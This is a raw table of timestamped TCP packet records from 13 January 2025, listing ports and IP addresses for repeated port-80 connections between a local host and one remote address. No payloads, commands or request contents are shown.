                                                                  Jan 13, 2025 13:11:02.631088018 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631109953 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631117105 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631148100 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631151915 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631202936 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631222963 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631249905 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631267071 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631300926 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631330013 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631349087 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631352901 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631397963 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631407022 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631424904 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631489038 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636326075 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636451006 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636461020 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636496067 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636517048 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636559010 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636578083 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636631012 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636632919 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636661053 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636714935 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636739016 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636770010 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636817932 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636847019 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636888027 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636888027 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636915922 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.636959076 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636971951 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.636984110 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637010098 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637058020 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.637089014 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637115002 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637161970 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637170076 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.637187004 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637234926 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637239933 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.637260914 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637306929 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637310982 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.637332916 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637358904 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637383938 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637429953 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637454987 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637480021 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637505054 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637551069 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637576103 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637600899 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637625933 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637650967 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637676001 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637721062 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637748003 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637773037 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637799025 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637824059 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637849092 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.637873888 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.641592979 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.641644001 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.641750097 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.641798973 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.642677069 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.642915010 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.642940998 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.642987967 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643014908 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643039942 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643064976 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643117905 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643143892 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643168926 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643213987 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643239021 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643265009 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643332958 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643359900 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643384933 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643430948 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643456936 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643481970 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643511057 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643556118 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643582106 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643606901 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643651962 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643677950 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643702984 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643748045 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643774033 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643799067 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643843889 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643870115 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643894911 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643919945 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643965006 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.643990040 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.644015074 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.644041061 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.644084930 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.644109964 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.955255985 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.960202932 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.960233927 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.960247040 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.346184015 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.373569965 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.373625994 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.493463039 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.673280001 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.710941076 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.711143970 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.715960026 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.716056108 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.716098070 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.900099039 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.900300980 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:03.905365944 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.905402899 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:03.905431032 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:04.456947088 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:04.673266888 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.692049980 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.692121983 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.693504095 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.697680950 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:04.697702885 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:04.697731018 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.697753906 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.698580980 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:04.698636055 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.698750973 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:04.704197884 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.048432112 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:05.053276062 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.053287983 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.054877996 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.328721046 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.457614899 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:05.457675934 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.218986988 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.238764048 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.506556034 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:06.506639004 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.506820917 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.510000944 CET804975437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:06.510042906 CET4975480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.513017893 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:06.860945940 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:06.865928888 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:06.866074085 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:06.866085052 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.140785933 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.207786083 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.212733030 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.212872982 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.213102102 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.217889071 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.267040968 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.316591024 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.454586983 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.564022064 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.568823099 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.568948984 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.576138020 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.580894947 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.580967903 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.581180096 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.585927963 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.870402098 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.939181089 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:07.944096088 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.944118977 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:07.944128036 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:08.007178068 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:08.008868933 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:08.218811989 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:08.351461887 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:08.352049112 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.185163975 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.185221910 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.185278893 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.186240911 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.190942049 CET804976037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.190970898 CET804976737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.190982103 CET804976837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.190993071 CET4976080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.191016912 CET4976780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.191026926 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.191029072 CET4976880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.191086054 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.191195011 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.197163105 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.548377991 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:09.555742979 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.555756092 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.555764914 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.819888115 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:09.955326080 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.055645943 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.055660963 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.055711031 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.055881023 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.060946941 CET804977437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.061024904 CET4977480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.292762041 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.297662020 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.297734022 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.297863007 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.302614927 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.644669056 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:10.649738073 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.649761915 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.649770975 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:10.969918013 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:11.063951015 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.103182077 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:11.172224998 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.953754902 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.954480886 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.958899021 CET804978037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:11.959014893 CET4978080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.959373951 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:11.959445953 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.959566116 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:11.964409113 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.314032078 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.319027901 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.319044113 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.319058895 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.441301107 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.446120977 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.446229935 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.446440935 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.451195002 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.588814974 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.673577070 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.717698097 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:12.799504042 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:12.860826969 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.018707037 CET4979480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.025739908 CET804978937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.025763035 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.025809050 CET4978980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.025818110 CET804979437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.025906086 CET4979480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.026041985 CET4979480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.034638882 CET804979437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.083777905 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.173297882 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.297091007 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.297868967 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.302772999 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.376737118 CET4979480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.381592035 CET804979437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.381738901 CET804979437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.486319065 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.486644983 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.491528034 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491542101 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491556883 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491565943 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491601944 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491610050 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491625071 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.491643906 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.491677999 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.491681099 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491692066 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491724014 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.491755009 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491765022 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.491803885 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496486902 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496499062 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496522903 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496532917 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496551037 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496572971 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496575117 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496598959 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496630907 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496691942 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496701956 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496717930 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496742964 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496743917 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496752977 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496793985 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496800900 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496824026 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.496840000 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.496876955 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501370907 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501418114 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501465082 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501502037 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501537085 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501620054 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501669884 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501682997 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501722097 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501723051 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501737118 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501774073 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501786947 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501821995 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501831055 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501857042 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501882076 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501895905 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501900911 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501918077 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501945972 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501946926 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501961946 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.501977921 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501986980 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.501996040 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.502012968 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.502017975 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.502027988 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.502032042 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.502058029 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.502074003 CET4979080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:13.502077103 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.502089024 CET804979037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:13.502104044 CET804979037.44.238.250192.168.2.4
